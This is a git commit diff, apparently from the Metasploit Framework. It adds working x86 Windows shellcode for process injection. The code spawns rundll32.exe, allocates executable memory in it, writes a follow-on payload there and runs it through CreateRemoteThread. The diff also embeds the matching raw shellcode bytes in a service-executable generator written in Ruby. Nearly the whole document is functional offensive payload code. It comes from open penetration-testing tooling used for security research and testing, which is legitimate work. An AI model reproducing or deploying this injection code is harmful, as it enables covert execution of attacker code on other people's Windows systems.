Add create_remote_process block, now used in exe_service generation
Florian Gaultier
agix
parent
0bdf7904ff
commit
25d48b7300
82
external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm
vendored
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82
external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm
vendored
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@ -0,0 +1,82 @@
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;-----------------------------------------------------------------------------;
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; Author: agix (florian.gaultier[at]gmail[dot]com)
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; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
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; Size: 137 bytes
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;-----------------------------------------------------------------------------;
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[BITS 32]
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; Input: EBP must be the address of 'api_call'.
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xor edi, edi
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push 0x00000004 ;PAGE_READWRITE
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push 0x00001000 ;MEM_COMMIT
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push 0x00000054 ;STARTUPINFO+PROCESS_INFORMATION
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push edi
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push 0xE553A458 ;call VirtualAlloc()
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call ebp
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mov dword [eax], 0x44
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lea esi, [eax+0x44]
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push edi
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push 0x6578652e
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push 0x32336c6c
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push 0x646e7572
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mov ecx, esp ;"rundll32.exe"
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push esi ;lpProcessInformation
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push eax ;lpStartupInfo
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push edi ;lpCurrentDirectory
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push edi ;lpEnvironment
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push 0x00000044 ;dwCreationFlags
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push edi ;bInheritHandles
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push edi ;lpThreadAttributes
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push edi ;lpProcessAttributes
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push ecx ;lpCommandLine
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push edi ;lpApplicationName
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push 0x863FCC79
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call ebp ;call CreatProcessA()
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mov ecx, [esi]
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push 0x00000040 ;PAGE_EXECUTE_READWRITE
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push 0x00001000 ;MEM_COMMIT
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push 0x00001000 ;Next Shellcode Size
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push edi
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push ecx ;hProcess
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push 0x3F9287AE ;call VirtualAllocEx()
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call ebp
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mov edi, eax
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mov ecx, [esi]
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lea edx, [ebp+0x12a] ;pointer on the next shellcode
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push esp
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push 0x00001000 ;Next Shellcode Size
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push edx ;
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push eax ;lBaseAddress
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push ecx ;hProcess
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push 0xE7BDD8C5
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call ebp ;call WriteProcessMemory()
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xor eax, eax
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mov ecx, [esi]
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push eax ;lpThreadId
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push eax ;dwCreationFlags
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push eax ;lpParameter
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push edi ;lpStartAddress
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push eax ;dwStackSize
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push eax ;lpThreadAttributes
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push ecx ;hProcess
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push 0x799AACC6
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call ebp ;call CreateRemoteThread()
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mov ecx, [esi]
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push ecx
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push 0x528796C6
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call ebp ;call CloseHandle()
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mov ecx, [esi+0x4]
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push ecx
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push 0x528796C6
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call ebp ;call CloseHandle()
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push edi
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push 0x56A2B5F0
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call ebp ;call ExitProcess(0)
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17
external/source/shellcode/windows/x86/src/single/single_create_remote_process.asm
vendored
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17
external/source/shellcode/windows/x86/src/single/single_create_remote_process.asm
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@ -0,0 +1,17 @@
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;-----------------------------------------------------------------------------;
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; Author: agix (florian.gaultier[at]gmail[dot]com)
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; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
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; Version: 1.0 (28 July 2009)
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; Size: 189 bytes + strlen(libpath) + 1
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; Build: >build.py single_create_remote_process
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;-----------------------------------------------------------------------------;
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[BITS 32]
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[ORG 0]
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cld ; Clear the direction flag.
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call start ; Call start, this pushes the address of 'api_call' onto the stack.
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%include "./src/block/block_api.asm"
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start: ;
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pop ebp ; pop off the address of 'api_call' for calling later.
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%include "./src/block/block_create_remote_process.asm"
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@ -14,4 +14,5 @@
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%include "./src/block/block_api.asm"
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start: ;
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pop ebp ; pop off the address of 'api_call' for calling later.
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%include "./src/block/block_service.asm"
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%include "./src/block/block_service.asm"
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%include "./src/block/block_create_remote_process.asm"
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@ -524,6 +524,9 @@ require 'msf/core/exe/segment_injector'
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precode_size -= 0x0d
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svcctrlhandler_code_offset = precode_size + pushed_service_name.length
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precode_size += 0xe4
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shellcode_code_offset = precode_size + (pushed_service_name.length * 2)
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# code_service could be encoded in the future
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code_service =
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"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
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@ -536,16 +539,25 @@ require 'msf/core/exe/segment_injector'
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"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
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"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
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"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
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"\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1\x8D\x85" +
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[svcmain_code_offset].pack('<I')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00" +
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"\x50\x68\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF" +
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"\xD5\x58\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81" +
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"\xED"+[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1" +
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"\x8D\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50" +
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"\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A\x00" +
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"\x6A\x00\x6A\x00\x6A\x04\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68\xC6" +
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"\x55\x37\x7D\xFF\xD5"
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"\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1" +
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"\x8D\x85"+[svcmain_code_offset].pack('<I')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
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"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
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"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
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[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1\x8D" +
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"\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
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"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
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"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
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"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
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"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
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"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
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"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
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"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('<I')+"\x57\x51\x68\xAE\x87" +
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"\x92\x3F\xFF\xD5\x89\xC7\x8B\x0E\x8D\x95"+[shellcode_code_offset].pack('<I')+"\x54\x68" +
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[code.length].pack('<I')+"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF\xD5\x31\xC0" +
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"\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A\x79\xFF\xD5" +
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"\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04\x51\x68\xC6" +
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"\x96\x87\x52\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
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return to_winpe_only(framework, code_service + code, opts)
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end
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end
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